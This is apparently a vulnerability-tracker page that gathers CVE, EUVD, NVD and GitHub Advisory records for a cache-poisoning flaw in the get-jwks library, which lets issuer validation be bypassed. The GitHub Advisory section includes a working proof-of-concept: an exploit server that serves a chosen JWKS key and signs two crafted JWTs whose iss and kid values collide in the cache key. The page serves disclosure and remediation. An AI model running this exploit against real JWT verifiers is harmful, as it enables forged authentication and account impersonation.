get-jwks poisoned JWKS cache allows post-fetch issuer validation bypass

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value. The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval. This issue has been patched in version 11.0.2.

Source published

27 Sep 2025 00:22:10 UTC

Source modified

29 Sep 2025 14:55:22 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.0 · 9.4 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value. The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval. This issue has been patched in version 11.0.2.

Source published

Sep 27, 2025, 12:22:10 AM (timezone not stated)

Source modified

Sep 29, 2025, 2:55:22 PM (timezone not stated)

Observed here

9 Nov 2026 03:16:00 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.0 · 9.4 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value. The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval. This issue has been patched in version 11.0.2.

Source published

27 Sep 2025 01:15:43 UTC

Source modified

9 Oct 2026 10:10:00 UTC

Observed here

25 Oct 2026 03:17:27 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.0 · [email protected] · Secondary · 9.4 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

### Summary A vulnerability in `get-jwks` can lead to cache poisoning in the JWKS key-fetching mechanism. ### Details When the `iss` (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted `iss` value. The vulnerability will work only if the `iss` validation is done after the use of `get-jwks` for keys retrieval, which usually is the common case. ### PoC Server code: ```js const express = require('express') const buildJwks = require('get-jwks') const { createVerifier } = require('fast-jwt') const jwks = buildJwks({ providerDiscovery: true }); const keyFetcher = async (jwt) => jwks.getPublicKey({ kid: jwt.header.kid, alg: jwt.header.alg, domain: jwt.payload.iss }); const jwtVerifier = createVerifier({ key: keyFetcher, allowedIss: 'https://example.com', }); const app = express(); const port = 3000; app.use(express.json()); async function verifyToken(req, res, next) { const headerAuth = req.headers.authorization.split(' ') let token = ''; if (headerAuth.length > 1) { token = headerAuth[1]; } const payload = await jwtVerifier(token); req.decoded = payload; next(); } // Endpoint to check if you are auth or not app.get('/auth', verifyToken, (req, res) => { res.json(req.decoded); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` Exploit server that generates the JWT pair and send the public RSA key to the victim server: ```js const { generateKeyPairSync } = require('crypto'); const express = require('express'); const pem2jwk = require('pem2jwk'); const jwt = require('jsonwebtoken'); const app = express(); const port = 3001; const host = `http://localhost:${port}`; const target_iss = `https://example.com`; const { publicKey, privateKey } = generateKeyPairSync("rsa", { modulusLength: 4096, publicKeyEncoding: { type: 'pkcs1', format: 'pem' }, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, }, ); const jwk = pem2jwk(publicKey); app.use(express.json()); // Endpoint to create cache poisoning token app.post('/create-token-1', (req, res) => { const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`, }, privateKey, { algorithm: 'RS256', header: { kid: "testkid", } }); res.send(token); }); // Endpoint to create a token with valid iss app.post('/create-token-2', (req, res) => { const token = jwt.sign({ ...req.body, iss: target_iss , }, privateKey, { algorithm: 'RS256', header: { kid: `testkid:${host}/?`, } }); res.send(token); }); app.get('/.well-known/jwks.json', (req, res) => { return res.json({ keys: [{ ...jwk, kid: 'testkid', alg: 'RS256', use: 'sig', }] }); }) app.use((req, res) => { return res.json({ "issuer": host, "jwks_uri": host + '/.well-known/jwks.json' }); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` The first JWT token will create a cache entry with the chosen public key and have the following format: `RS256:testkid:http://localhost:3001/?:https://example.com` The second JWT has a valid `iss`, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future `iss` validations: `RS256:testkid:http://localhost:3001/?:https://example.com` ### Impact Applications relying on `get-jwks` for key retrieval, even with `iss` validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used. ### Solution Escape each component used in the cache key, so delimiter collisions are impossible. https://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76

Source published

26 Sep 2025 14:27:01 UTC

Source modified

29 Sep 2025 14:03:51 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Publisher rating · CRITICAL